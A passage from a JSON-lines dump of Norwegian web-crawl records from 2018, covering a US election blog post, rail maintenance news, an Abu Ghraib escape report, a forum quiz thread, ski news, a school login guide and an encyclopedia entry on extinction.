ale\u00adne er Bill ikke en par\u00adti-insi\u00adder, han er kan\u00adskje ikke engang Demo\u00adkrat og til\u00adsyne\u00adla\u00adten\u00adde s\u00e5 uin\u00adter\u00ades\u00adsert i\u00a0poli\u00adtikk at han er helt apo\u00adli\u00adtisk. Og hvem kan v\u00e6re mer over\u00adbe\u00advi\u00adsen\u00adde i\u00a0en tid hvor poli\u00adti\u00adker er et skjells\u00adord og alle er lei poli\u00adtis\u00adke uenig\u00adhe\u00adter som ald\u00adri blir l\u00f8st \u2013 enn en per\u00adson som er apo\u00adli\u00adtisk? Det ster\u00adkes\u00adte sann\u00adhets\u00advit\u00adne for en poli\u00adti\u00adker, er alt\u00ads\u00e5 en van\u00adlig per\u00adson som ikke er inter\u00ades\u00adsert i\u00a0poli\u00adtikk.\n\nCin\u00addy Hewitt og Bill Butch\u00ader er, som eksemp\u00adle\u00adne jeg gav i\u00a0mitt for\u00adri\u00adge blog\u00adinn\u00adlegg, n\u00e5ti\u00addens paral\u00adlell til de antik\u00adke ora\u00adto\u00adrers frem\u00adstil\u00adling av vit\u00adner foran jury\u00aden. P\u00e5 Demo\u00adkra\u00adte\u00adnes kon\u00advent fun\u00adger\u00adte dis\u00adse van\u00adli\u00adge folk som kon\u00adkre\u00adte eksemp\u00adler p\u00e5 gene\u00adrel\u00adle poli\u00adtis\u00adke for\u00adhold: Cin\u00addy skal illust\u00adre\u00adre f\u00f8l\u00adge\u00adne av Rom\u00adneys rov\u00addyr\u00adka\u00adpi\u00adta\u00adlis\u00adme, Bill Butch\u00ader skal illust\u00adre\u00adre f\u00f8l\u00adge\u00adne av Oba\u00admas akti\u00adve poli\u00adtikk for sm\u00e5\u00adbe\u00addrif\u00adter.\n\nFrem\u00adfor folk som hol\u00adder lan\u00adge, ord\u00adrike taler, er det sli\u00adke leven\u00adde for\u00adtel\u00adlin\u00adger som pas\u00adser godt til fjern\u00adsy\u00adnet. For selv om en tale kan v\u00e6re gri\u00adpen\u00adde p\u00e5 fjern\u00adsyn, er den n\u00e5 engang aller best n\u00e5r du fak\u00adtisk er fysisk til\u00adste\u00adde i\u00a0sam\u00adme rom som tale\u00adren: N\u00e5r du kan f\u00f8le tale\u00adrens ener\u00adgi og mer\u00adke beve\u00adgel\u00adsen i\u00a0til\u00adh\u00f8\u00adrer\u00adne, n\u00e5r alle rea\u00adge\u00adrer som en enhet og du er syn\u00adkron med men\u00adnes\u00adket rett ved siden av deg. Med de kor\u00adte visu\u00adel\u00adle for\u00adtel\u00adlin\u00adge\u00adne fra hver\u00adda\u00adgens Ame\u00adri\u00adka er det omvendt. De siger best inn under hud\u00aden n\u00e5r man sit\u00adter ufor\u00adstyr\u00adret hjem\u00adme i\u00a0sofa\u00aden foran lyset fra fjern\u00adsy\u00adnet. Men selv om dis\u00adse kor\u00adte visu\u00adel\u00adle for\u00adtel\u00adlin\u00adge\u00adne er s\u00e6r\u00adde\u00adles fjern\u00adsyns\u00adeg\u00adne\u00adte, er sann\u00adsyn\u00adlig\u00adhe\u00adten for at noen av dem som har stilt inn p\u00e5 FOX, CNN, CBS eller MSNBC fak\u00adtisk vil se video\u00adene for\u00adsvin\u00adnen\u00adde liten.\n\nFor det f\u00f8rs\u00adte har fjern\u00adsyns\u00adsta\u00adsjo\u00adne\u00adne en natur\u00adlig mot\u00adstand mot fer\u00addig\u00adpro\u00addu\u00adser\u00adte seg\u00admen\u00adter fra kil\u00adder og inter\u00adesse\u00ador\u00adga\u00adni\u00adsa\u00adsjo\u00adner \u2013 med god grunn. Sli\u00adke video\u00adsnip\u00adper vil frem\u00adst\u00e5 som uimot\u00adsagt pro\u00adpa\u00adgan\u00adda fra par\u00adti\u00adene. Og som regel er de alt\u00adfor lan\u00adge for nyhets\u00adsta\u00adsjo\u00adne\u00adne. Fil\u00admen med Butch\u00ader er 1\u00a0minutt og 50 sekun\u00adder, og fil\u00admen med Ryan Case (se tid\u00adli\u00adge\u00adre blog\u00adinn\u00adlegg) var\u00adte hele 2\u00a0minut\u00adter og 40 sekun\u00adder \u2013 en mara\u00adton i\u00a0den\u00adne sam\u00admen\u00adhen\u00adgen.\n\nFor det and\u00adre er nyhets\u00adsta\u00adsjo\u00adne\u00adnes tv-pro\u00adduk\u00adsjo\u00adner av kon\u00adven\u00adte\u00adne stort sett lagt opp som veks\u00adling mel\u00adlom inter\u00advju, kom\u00admen\u00adta\u00adrer og (strategi)analyser \u2013 og s\u00e5 litt taler inn\u00adimel\u00adlom. Det vi ser og h\u00f8rer mest under kon\u00adven\u00adte\u00adne er ikke poli\u00adti\u00adke\u00adre, men jour\u00adna\u00adlis\u00adter, syn\u00adse\u00adre og eks\u00adper\u00adter. Det er ikke bare parti\u00advi\u00addeo\u00adene som m\u00e5 vike for det\u00adte opp\u00adset\u00adtet, ogs\u00e5 taler\u00adne kom\u00admer \u2013 bok\u00adsta\u00adve\u00adlig \u2013 i\u00a0bak\u00adgrun\u00adnen.\n\nTa for eksem\u00adpel Jen\u00adni\u00adfer Gran\u00adholms tale, som jeg beskrev i\u00a0et tid\u00adli\u00adge\u00adre blogg\u00adinn\u00adlegg. Gran\u00adholm gav en flam\u00admen\u00adde tale som fikk stor omta\u00adle i\u00a0medie\u00adne etter\u00adp\u00e5. Men de fles\u00adte har anta\u00adge\u00adlig ikke sett talen som direkte\u00adsen\u00adding p\u00e5 fjern\u00adsy\u00adnet, men enten som kor\u00adte utklipp i\u00a0nyhets\u00adopp\u00adda\u00adte\u00adrin\u00adger eller p\u00e5 inter\u00adnett lang tid etter Gran\u00adholm had\u00adde for\u00adlatt sce\u00adnen. P\u00e5 CNN var det for eksem\u00adpel ikke lagt opp til at den\u00adne tale skul\u00adle sen\u00addes. I\u00a0ste\u00addet for \u00e5\u00a0vise Gran\u00adholm brak\u00adte nyhets\u00adka\u00adna\u00adlen et inter\u00advju med Oba\u00admas halv\u00ads\u00f8s\u00adter Maya Soe\u00adte\u00adro-Ng, som dis\u00adku\u00adte\u00adrer med jour\u00adna\u00adlist Piers Mor\u00adgan hvor\u00addan bro\u00adrens tale kan\u00adskje vil bli. I\u00a0bak\u00adgrun\u00adnen\u00a0 kan vi svakt h\u00f8re Gran\u00adholm rope ut mot til\u00adh\u00f8\u00adrer\u00adne som sva\u00adrer med applaus. Mel\u00adlom Piers og Soe\u00adte\u00adro-Ng kan vi skim\u00adte taler\u00adsto\u00adlen og Gran\u00adholm bak den. Til venst\u00adre bak Soe\u00adtoro-Ng kan vi s\u00e5 vidt se Gran\u00adholms bl\u00e5 jak\u00adke pro\u00adji\u00adsert opp p\u00e5 stor\u00adskjer\u00admen slik at alle i\u00a0salen kan se hen\u00adne. Her, som i\u00a0det mes\u00adte av fjen\u00adsyns\u00addek\u00adnin\u00adgen av kon\u00adven\u00adte\u00adne, kom\u00admer tale\u00adre og taler i\u00a0bak\u00adgrun\u00adnen og jour\u00adna\u00adlis\u00adters sam\u00adta\u00adler i\u00a0for\u00adgrun\u00adnen.\n\n\n\nMens taler\u00adne taler ser vi eks\u00adper\u00adte\u00adne, noen gan\u00adger ser vi pub\u00adli\u00adkum som applau\u00adde\u00adrer taler\u00adne, men frem\u00adde\u00adles h\u00f8rer vi ikke taler\u00adne, lyden er fort\u00adsatt fra inter\u00advju, kom\u00admen\u00adta\u00adrer og ana\u00adly\u00adser i\u00a0stu\u00addio. Det vi ser oftest under tale\u00adne (og demo\u00adkra\u00adte\u00adnes video\u00ader) er bil\u00adder som det\u00adte:\n\n\n\nog bil\u00adder som det\u00adte:\n\n\n\nog det\u00adte:\n\n\n\nDet er mye mer \u00e5\u00a0si om det visu\u00adel\u00adle i\u00a0kon\u00adven\u00adte\u00adne: om opp\u00adbyg\u00adnin\u00adgen av sce\u00adnen, om taler\u00adnes kropps\u00adspr\u00e5k og ges\u00adti\u00adku\u00adla\u00adsjon, om bil\u00adde\u00adne pres\u00adsen valg\u00adte \u00e5\u00a0tryk\u00adke fra kon\u00adven\u00adte\u00adne og om Demo\u00adkra\u00adten Tam\u00admy Dockworth, som mis\u00adtet bene\u00adne sine i\u00a0Irak og gikk p\u00e5 sce\u00adnen i\u00a0Char\u00adlot\u00adte med det ene av sine kuns\u00adti\u00adge ben malt som det ame\u00adri\u00adkans\u00adke flag\u00adget:\n\n\n\nMen alt det m\u00e5 bli en annen gang, for i\u00a0nes\u00adte blogg\u00adinn\u00adlegg ven\u00adder vi opp\u00admerk\u00adsom\u00adhe\u00adten mot den sis\u00adte sto\u00adre hen\u00addel\u00adse som kan end\u00adre dyna\u00admik\u00adken i\u00a0valg\u00adkam\u00adpen: Debat\u00adte\u00adne. De fles\u00adte her i\u00a0USA er eni\u00adge om at det\u00adte er Rom\u00adneys st\u00f8rs\u00adte sjan\u00adse for \u00e5\u00a0kom\u00adme foran Oba\u00adma, men ogs\u00e5 Oba\u00admas st\u00f8rs\u00adte sjan\u00adse for \u00e5\u00a0ryk\u00adke avgj\u00f8\u00adren\u00adde fra Rom\u00adney.\n\n", "language": "no", "__index_level_0__": "f6db9542-01ec-480c-86a0-11c5fde80201"}
{"url": "http://www.bygg.no/article/1269091", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00236.warc.gz", "warc_date": "2018-03-24T23:15:28Z", "text": "    # Utbyggingsplanene p\u00e5 Valhall-feltet godkjent\n\n\n\n# Nettleder\n\n\n  - \\- Gledelig at forfallet p\u00e5 riksvegene stopper opp\n  - Solvik-Olsen: Fortsatt satsing p\u00e5 vedlikehald\n\nArbeidet er i full gang og for andre \u00e5ret p\u00e5 rad tas det n\u00e5 inn p\u00e5 det store etterslepet i jernbanevedlikeholdet her i landet.\n\nJernbaneverket skal i 2016 \u00f8ke vedlikeholdsinnsatsen p\u00e5 jernbanenettet med 20 prosent fra rekordniv\u00e5et i 2015, sier jernbanedirekt\u00f8r Elisabeth Enger.\n\n\\- Dermed vil vi fortsette \u00e5 ta inn p\u00e5 det mye omtalte vedlikeholdsetterslepet for andre \u00e5r p\u00e5 rad. 2015 var det f\u00f8rste \u00e5ret da trenden med \u00f8kende vedlikeholdsetterslep ble snudd. I fjor tok vi inn ca 200 millioner av etterslepet som er beregnet \u00e5 v\u00e6re p\u00e5 rundt 18 milliarder. I \u00e5r skal vi ta inn ytterligere ca 550 millioner, fortsetter hun.  \n\n\\-Det g\u00e5r alts\u00e5 riktig veg, sier jernbanedirekt\u00f8ren. Oppetidsm\u00e5lene ble n\u00e5dd for f\u00f8rste gang i 2015 og punktligheten var rekordh\u00f8y. (91,5 % for alle persontog samlet sett). Samtidig kj\u00f8res det langt flere tog enn for bare f\u00e5 \u00e5r siden og passasjertallene har n\u00e5dd nye h\u00f8yder. Vi gleder oss ogs\u00e5 over positive tegn for godstrafikken, sier Enger. Den er sv\u00e6rt s\u00e5rbar og s\u00e6rlig avhengig av en godt vedlikeholdt og robust infrastruktur.\n\n**L\u00f8fter standarden p\u00e5 jernbanenettet**  \n\\-Vi skal i 2016 videref\u00f8re det arbeidet vi har startet p\u00e5 n\u00e5r det gjelder \u00e5 l\u00f8fte standarden p\u00e5 jernbanenettet v\u00e5rt, sier infrastrukturdirekt\u00f8r Gorm Frimannslund. \u00c5rets innsats blir enda mer intens enn fjor\u00e5rets og det er gjennomf\u00f8rt et stort planleggingsarbeid og en omfattende jobb for \u00e5 f\u00e5 lyst ut kontrakter og klargjort for arbeidssesongen.  \n\n\\- Til fornyelse av anleggene v\u00e5re skal vi bruke vel 2,6 milliarder kroner og til forebyggende vedlikehold n\u00e6rmere 1,3 milliarder.  \nJernbaneverket har laget langsiktige planer som skal sikre en effektiv innarbeidelse av vedlikeholdsetterslepet. \u2013Dette vil gi en bedre og mer robust jernbane, samtidig som vi planlegger for \u00e5 opprettholde dette niv\u00e5et i flere \u00e5r framover for \u00e5 ta inn ytterligere p\u00e5 etterslepet, sier Frimannslund. I tillegg skal det brukes 370 millioner til planlegging av det nye signalsystemet ERTMS. Dette er starten p\u00e5 en total utskifting av jernbanens signalanlegg de kommende \u00e5rene.  \nTil korrektivt vedlikehold (akutt feilretting) er det i \u00e5r satt av 450 millioner kroner. Etter hvert som det forebyggende vedlikeholdet n\u00e5 \u00f8ker, s\u00e5 er forutsetningene til stede for at det kan bli f\u00e6rre tilfeller av driftsstans og f\u00e6rre forsinkelser, sier Gorm Frimannslund.  \n\n\u2013Jernbaneverket har forbedret sine systemer slik at forsinkelser og tilstanden i infrastrukturen kan ses i sammenheng, sier Frimannslund.\n\n**Hovedstrekningene**  \nDet skal i \u00e5r utf\u00f8res omfattende tiltak for \u00e5 gj\u00f8re Bergensbanen og Dovrebanen mer robuste, det vil si rassikring, drenering og fornyelse av banelegemet. P\u00e5 S\u00f8rlandsbanen er det i gang store fornyelsesarbeider p\u00e5 kontaktledningen.  \n\nAv fornyelsesmidlene kommer 480 millioner kroner som ekstra midler fra tiltakspakken for \u00e5 \u00f8ke sysselsettingen. 260 millioner av dette skal brukes p\u00e5 S\u00f8rlandsbanen og Bergensbanen. I tillegg er det som vanlig stor aktivitet p\u00e5 det tett trafikkerte jernbanenettet i og rundt Oslo. Over hele jernbanenettet vil det bli gjennomf\u00f8rt fornyelses-og vedlikeholdstiltak som utskifting av sviller og skinner, fornyelse av bruer og bedring av dreneringssystemer.  \n\n\\-I sum skal vi ha en bedre jernbane ved utgangen av 2016, enn hva vi hadde ved starten p\u00e5 \u00e5ret, sier Gorm Frimannslund. Etterslepet blir mindre og standarden heves, selv om det fortsatt er langt fram.\n\n", "language": "no", "__index_level_0__": "da5e14a7-6575-4a4e-aadc-5b98e743a241"}
{"url": "https://www.nettavisen.no/nyheter/utenriks/28-abu-ghraib-fanger-rmte/329607.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:51:39Z", "text": "# 28 Abu Ghraib-fanger r\u00f8mte\n\n  - \n28 fanger fra Abu Ghraib-fengselet greide \u00e5 stikke av under en fangetransport i Bagdad.\n\nDe 28 fangene var p\u00e5 vei til et rettsm\u00f8te i Bagdad torsdag da de overmannet fangevokterne. En av vokterne ble skutt under r\u00f8mningen, melder CNN. Tilstanden er kritisk for vakten.\n\nP\u00e5 grunn av mangel p\u00e5 h\u00e5ndjern, hadde flere av fangene hendene bundet sammen med tau. Under transporten greide de \u00e5 komme l\u00f8s, f\u00f8r de overmannet og slo banket opp fire voktere og sj\u00e5f\u00f8ren. En av fangene greide \u00e5 fravriste en kalasjnikov fra en av vokterne, og skj\u00f8t ham.\n\nTi av fangene ble tatt kort tid etter r\u00f8mningen.Flere av fangene skal v\u00e6re fra arabiske land.\n\n", "language": "no", "__index_level_0__": "02714de7-14e3-4baa-8bee-9a275e86e8fe"}
{"url": "http://avforum.no/forum/cd-sacd-og-dvd-audio/90911-musikk-quiz-les-regler-post-1-a-593.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00748.warc.gz", "warc_date": "2018-03-24T23:45:39Z", "text": "    > Stemmer det.  \n    > Og dette er hva Dee Snider mener tok livet av genren.  \n    -----\n\n3.   12-10-2010,\u00a013:15   \\#11843 \n    \n    > Hint: Kan jo si s\u00e5 mye som at albumet kom ut i 2006. L\u00e5ta var innom f\u00f8rsteplassen p\u00e5 VG-lista i 2007.\n    \n    -----\n\n5.   12-10-2010,\u00a017:51   \\#11845 \n    \n    -----\n\n    > Var en tur innom prince, men dette er ukjent grunn for meg, og f\u00f8lte meg derfor usikker, og trakk meg ut(hm det h\u00f8rtes ekkelt ut)  \n    >   \n    > Andre femi menn, hm tenke tenke. Burde snart bli lur av brandyen jeg har tylla innp\u00e58)\n    \n    -----\n\n11.  12-11-2010,\u00a000:15   \\#11851 \n    \n    > J\u00f8ss. En kjapp google etter feminine mannlige artister sa meg at dette ikke var noe for skalle. Bare se selv. Siste mote.  \n    -----\n\n12.  12-11-2010,\u00a000:16   \\#11852 \n    \n    >  Opprinnelig postet av **RuneW**\n    > Pink Floyd / Marooned kanskje?\n    > Der kom bandet, hvem er da artisten vi skal fram til?\n    \n    -----\n\n15.  12-11-2010,\u00a000:26   \\#11855 \n    \n    > Jeg har v\u00e6rt p\u00e5 badet igjen. Denne gangen har jeg b\u00e5ret inn rabarbra, stikkelsb\u00e6r, sukker og gj\u00e6r.  \n    >   \n    > Om en fire m\u00e5neders tid h\u00e5per jeg \u00e5 tappe den p\u00e5 flasker. da b\u00f8r den gnistre som edelstener. Og n\u00e5r alle sp\u00f8r hvordan jeg f\u00e5r det til, svarer jeg at: Det er bare slik.  \n    >   \n    > Band/album/l\u00e5t?  \n    >   \n    > F\u00f8kk. I tillegg til \u00e5 skrive slik at \u00f8stlendingene forst\u00e5r, s\u00e5 har tastene byttet plass.  \n    >   \n    > bare pr\u00f8v dere p\u00e5 denne etter \u00e5 ha assortert tastene:Quiz - Strilam\u00e5l anyone? - Aftenposten.no  \n    >   \n    > Det er slik spr\u00e5ket mitt er. Og i fylla s\u00e5 blir \u00f8stlandsskrivningen vanskelig. Sk\u00e5l.\n    \n    -----\n\n19.  12-11-2010,\u00a000:59   \\#11859 \n    \n    \n    \n", "language": "no", "__index_level_0__": "89b13c90-03e5-4a24-af1d-4d4370c27ccb"}
{"url": "https://www.nettavisen.no/sport/elden-mer-sjef/985046.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00705.warc.gz", "warc_date": "2018-03-24T23:56:30Z", "text": "\n\n(FOTO: Morten Holm/Scanpix)\n\n# Elden mer sjef\n\n  - \n  - \nSportssjef B\u00e5rd J\u00f8rgen Elden f\u00e5r andre arbeidsoppgaver, men ingen nye fjes dukker opp p\u00e5 kombinertlandslaget til vinteren.\n\nULLEVAAL (Nettavisen): Magnus Moan, Petter Tande, Espen Rian, H\u00e5vard Klemetsen, Jan Schmid og Iver Markengbakken utgj\u00f8r det norske landslaget i kombinert i den mesterskapsfrie sesongen 2007/08.\n\nOg visse diskusjoner til tross, fortsetter B\u00e5rd J\u00f8rgen Elden som sportssjef. Den sportslige \u00f8verstkommanderende f\u00e5r imidlertid justert sin arbeidsinstruks. For n\u00e5 skal han bare v\u00e6re sjef, ikke langrennstrener i tillegg.\n\nInn som langrennstrener for A-l\u00f8perne kommer Kristian Hammer, mens Kjetil Strandbr\u00e5ten fortsetter som hovedtrener.\n\n\\- Intensjonen er at B\u00e5rd J\u00f8rgen skal f\u00e5 mer tid til \u00e5 ta seg av administrative oppgaver, forklarer Paul Einar Borgen i Skiforbundets kombinertkomit\u00e9.\n\nElden har ikke lagt skjul p\u00e5 at enkelte arbeidsoppgaver er blitt fors\u00f8mt den siste sesongen som f\u00f8lge av at han i praksis har hatt to jobber, som langrennstrener og sportssjef.\n\n# Mest sett siste uken\n\n", "language": "no", "__index_level_0__": "8324b755-1de3-4c7f-aab0-24a1b7b4f045"}
{"url": "http://www.scrappekjelleren.no/2013/12/adventskalender-luke-10.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:28:21Z", "text": "**Tirsdag: 18.00 - 21.00**  \n**Torsdag: 18.00 - 21.00**  \n  \n**Ellers etter avtale.**  \n  \nJeg er ogs\u00e5 ganske fleksibel p\u00e5 \u00e5pningstider (dag, ettermiddag og kveldstid).  \nS\u00e5 ikke n\u00f8l med \u00e5 ta kontakt for \u00e5 avtale tid eller sp\u00f8r om det passer.  \nTa kontakt p\u00e5 Facebook, mail eller sms, **940 50 941**. =)\n\n  \n## Vei beskrivelse\n\n", "language": "no", "__index_level_0__": "cc661d8a-e505-43c4-9a06-9ce378b39754"}
{"url": "http://timeskule-public.sharepoint.com/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:16:25Z", "text": "#  default \n\n **Brukernavn og passord for skolens datasystem**  \nFor \u00e5 logge p\u00e5 en pc p\u00e5 skolen din, s\u00e5 trenger du et brukernavn og et passord. Dette er personlig og skal ikke\u00a0deles med NOEN. Din kontaktl\u00e6rer skal ha delt ut en lapp med brukernavn og passord. \n\nDu blir bedt om \u00e5 logge p\u00e5 domenet tk-oppvekst. For elever starter brukernavnet med \u00e5rstallet de er f\u00f8dt, etterfulgt av tre f\u00f8rste bokstaver i etternavn og tre f\u00f8rste bokstaver i etternavn. Eksempel for Ola Normann f. i 2005: **05norola**\n\nDette brukernavnet er ogs\u00e5\u00a0din FEIDE bruker som brukes til \u00e5 logge\u00a0p\u00e5 ulike nettressurser som kommunen abonerer p\u00e5. Se listen til h\u00f8yre.\n\n**Office 365**  \nDet samme brukernavnet brukes ogs\u00e5 for \u00e5 logge p\u00e5 Office 365, men der m\u00e5 du i tillegg opgi @timeskule.no\n\nFor Ola Normann f\u00f8dt i 20015 vil dette bli: firstname.lastname@example.org Passordet er det samme for pc p\u00e5 skolen, FEIDE og O365.\n\nElever har ogs\u00e5 en mailkonto knyttet til O365. Denne kan brukes fra App p\u00e5 nettbrett/mobil eller fra webmail/OWA. \n\n**Passordbytte**  \nPassord p\u00e5 brukerkontoen kan KUN byttes p\u00e5 en pc p\u00e5 skolen, i domenet tk-oppvekst. Hvis du har glemt ditt passord, ta kontakt med l\u00e6rer eller IKT-ansvarlig p\u00e5 skolen din.\n\n**Generelt om Feide**  \nFeide st\u00e5r for Felles Elektronisk IDEntitet og er Kunnskapsdepartementets valgte l\u00f8sning for sikker identifisering i utdanningssektoren. \n\nBasert p\u00e5 kommunens opplysninger om elever og ansatte i skole\u200b\u200bn, lages en elektronisk identitet - en Feide-identitet. Med samme brukernavn og passord kan elever og ansatte legitimere seg overfor ulike digitale tjenester, nettsteder, portaler, bibliotek og andre tjenester som er beregnet for utdanningssektoren. Feide-identiteten muliggj\u00f8r samtidig \u00f8kt kvalitet p\u00e5 tjenester gjennom personifisering av tjenestene. For eksempel vil en tjeneste som tilbyr matematikkoppgaver, kunne huske progresjonen til en bruker fra tidligere bes\u00f8k.\n\nDet skoleadministrative systemet Visma FLYT skole er kilden til personopplysninger i Feide-katalogen for Timeskulen. Registreringer i de skoleadministrative systemene oppdaterer FEIDE-katalogen med informasjon om brukere (elever og ansatte), grupper (faggrupper og klasser) og gruppemedlemsskap (koblinger mellom brukere og grupper). FEIDE-katalogen blir i tillegg oppdatert med brukernavn og passord fra Time Kommune Oppvekst sitt AD (tk-oppvekst domenet). Det betyr at ansatte og elever benytter samme passord i FEIDE som for tk-oppvekst (p\u00e5logging til maskin). Endring av passord gj\u00f8res via en maskin i tk-oppvekst. Endringer knyttet til registrerte personopplysninger gj\u00f8res i det skoleadministrative systemet via aktuell skole.   \n  \n**Om personopplysninger Feide**  \nFeide ivaretar brukernes personvern og bidrar til at personopplysninger behandles p\u00e5 en sikker og lovmessig m\u00e5te. Feide sikrer at det kun er et minimum av n\u00f8dvendige personopplysninger som blir oversendt til en tjeneste, i henhold til hva tjenesten egentlig trenger av n\u00f8dvendige personopplysninger for \u00e5 fungere. De n\u00f8dvendige persondataene blir kun oversendt tjenesten hvis du som bruker ved oppstart av tjenesten aktivt godtar at tjenesten kan f\u00e5 dataene.  \n  \nN\u00e5r du logger p\u00e5 en tjeneste via Feide f\u00e5r du en oversikt over hvilken personinformasjon tjenesten f\u00e5r overlevert. Du m\u00e5 aktivt gi ditt samtykke til at tjenesten f\u00e5r denne informasjonen om deg. Dersom du ikke samtykker vil du ikke bli logget p\u00e5 tjenesten. Ditt samtykke blir husket til neste gang du logger p\u00e5 tjenesten dersom du krysser av for det. Du slipper derfor \u00e5 gi ditt samtykke hver gang du logger p\u00e5 den samme tjenesten.  \n  \nEn viktig egenskap ved Feide er at ingen personopplysninger oppbevares i et sentralt register; alle personopplysninger er lagret lokalt hos brukernes vertsorganisasjoner. N\u00e5r en bruker logger p\u00e5 en tjeneste, kontakter Feide vertsorganisasjonens lokale Feide-katalog for \u00e5 be om brukerens personopplysninger. Personopplysningene blir midlertidig lagret av Feide til brukeren logger av, eller i maksimalt \u00e5tte timer. Feide har en egen avtale med hver tjeneste som sier hvilke personopplysninger tjenesten skal f\u00e5 utlevert n\u00e5r en bruker logger seg p\u00e5 med Feide.  \n  \nHver FEIDE-tjeneste skal gj\u00f8re tjenestens personvernerkl\u00e6ring lett tilgjengelig for brukerne.\n\n", "language": "no", "__index_level_0__": "0c8b9f9a-ba23-42c9-9148-2b437ef8ec8a"}
{"url": "https://www.aftenposten.no/kultur/i/2p9er/Finn-Skarderud-Gluten-evangeliet", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:36:35Z", "text": "  - \n    \n    FOTO: Randi Matland  \n\n# Finn Sk\u00e5rderud: Gluten-evangeliet\n\nDen som tror sterkt p\u00e5 noe, er troende til \u00e5 si \u00abjeg vet\u00bb. Men tro er ikke viten. Slik er det ogs\u00e5 med troen p\u00e5 maten som frelse eller demoni.\n\nFinn Sk\u00e5rderud\n\nPublisert: 10.jul.2016 13:03\n\nOppdatert: 01.sep.2016 12:35\n\nTro og viten er vanskelig. Det er mange som \u00abvet\u00bb mye om maten vi spiser, hvor sunn den er, eller hvor farlig den er. Men n\u00e5r viten ikke er viten, men en personlig overbevisning, og n\u00e5r man tror p\u00e5 vidt forskjellige og til dels motsatte \u00absannheter\u00bb, da blir samtalene raskt vonde. Helse er f\u00f8lsomt. Tro kan splitte.\n\nTroen p\u00e5 kosten kan v\u00e6re b\u00e5de religi\u00f8s og verdslig. Maten er jo alltid mer enn det vi har p\u00e5 bordet.\n\n", "language": "no", "__index_level_0__": "684a85b9-6b0b-4ee9-980a-c6782894227b"}
{"url": "https://snl.no/utryddelse", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00128.warc.gz", "warc_date": "2018-03-24T23:47:46Z", "text": "# utryddelse\n\n    utd\u00f8ing\n\n\n\nUtryddelse, det at arter opph\u00f8rer idet det siste individ d\u00f8r; evt. at en art d\u00f8r ut i et bestemt omr\u00e5de (regional utd\u00f8ing). I geologisk tid registreres det at arter som har levd i tidligere perioder av Jordens historie, senere har forsvunnet. I sv\u00e6rt mange tilfeller har artene forsvunnet fullstendig uten \u00e5 etterlate noen etterkommere, f.eks. mange av kjempe\u00f8glene fra Jordens middeltid (mesozoikum). Utd\u00f8ing er en naturlig prosess ved utviklingen av nye livsformer.\n\n\u00c5rsakene til at arter i geologisk tid har d\u00f8dd ut er meget kompliserte og ikke p\u00e5 langt n\u00e6r fullt ut klarlagte. Dels kan det skyldes ensidig spesialisering i kombinasjon med milj\u00f8endringer. Ved forandring av de ytre forholdene har artene ikke hurtig nok kunnet tilpasse seg det nye milj\u00f8et og har d\u00f8dd ut. Sterk konkurranse fra bedre tilpassede former kan ogs\u00e5 ha hatt betydning, da de d\u00e5rligere tilpassede formene lett blir fortrengt. Alt i alt kjenner man til mange hundre tusen utd\u00f8dde arter av b\u00e5de dyr og planter, mens det i virkeligheten sikkert dreier seg om utallige millioner. Ogs\u00e5 i Norge og p\u00e5 Svalbard er det funnet store mengder fossiler av n\u00e5 utd\u00f8dde organismer.\n\nBasert p\u00e5 fossilfunn har man kunnet p\u00e5vise dramatiske episoder der en omfattende andel av Jordens dyre- og plantearter ble ber\u00f8rt og der utd\u00f8ingen skjedde over geologisk sett relativt kort tid. Slike dramatiske episoder i Jordens historie kalles masseutd\u00f8ing. \u00c5rsaken til masseutd\u00f8ing kan v\u00e6re dramatiske klima- og milj\u00f8endringer (f.eks. istid og endring i havniv\u00e5) eller kosmiske katastrofer som store meteorittnedslag.\n\nMange mener at allerede steinaldermenneskenes jakt og bruk av ild var en viktig \u00e5rsak til utd\u00f8inger. De fleste slekter av store landdyr i Australia d\u00f8de ut for 30\u201360 000 \u00e5r siden, mens de f\u00f8rste spor etter mennesket er 80 000 \u00e5r gamle. I Amerika d\u00f8de 80 % av slektene av store landdyr ut (f.eks. sabeltanntiger og mammut), de fleste for 11\u201313 000 \u00e5r siden, samtidig med de f\u00f8rste sikre tegn p\u00e5 at mennesker hadde n\u00e5dd dit. Det var imidlertid ogs\u00e5 store klimaendringer i de samme periodene.\n\nDe siste 500 \u00e5r har menneskelig virksomhet f\u00f8rt til at 844 kjente arter er utryddet fra naturen. De fleste av disse utryddelsene er fra \u00f8yer, men de siste 20 \u00e5rene har utryddelser p\u00e5 kontinenter blitt like vanlige. Selv noen ekstremt tallrike arter (f.eks. vandredue) har blitt utryddet. Mange mener derfor at vi n\u00e5 befinner oss i den sjette masseutd\u00f8ingen (de fem f\u00f8rste beskrives under masseutd\u00f8ing), som utl\u00f8ses av menneskets virksomhet.\n\nBortsett fra \u00f8yer, d\u00f8r mange arter ogs\u00e5 ut i elver, og Australia og tropiske deler av Asia har h\u00f8yest utd\u00f8ingssrate. Konservative anslag tyder p\u00e5 at utd\u00f8ingsraten i v\u00e5r tid er minst 10\u2013100 ganger h\u00f8yere enn den naturlige utd\u00f8ingsraten (omtrent 1 utd\u00f8ing per million arter per \u00e5r utenom masseutd\u00f8ingene). Enkelte mener at utd\u00f8ingsraten er 1000\u201310 000 ganger h\u00f8yere. De viktigste \u00e5rsakene til moderne utd\u00f8ing er habitat\u00f8deleggelse eller -endring, jakt og innf\u00f8rte arter. N\u00e5r en eller flere av disse faktorene har f\u00f8rt til en sterk reduksjon av antall individer, kan redusert genetisk variasjon, innavl, sykdom eller tilfeldige populasjonssvingninger bidra til \u00e5 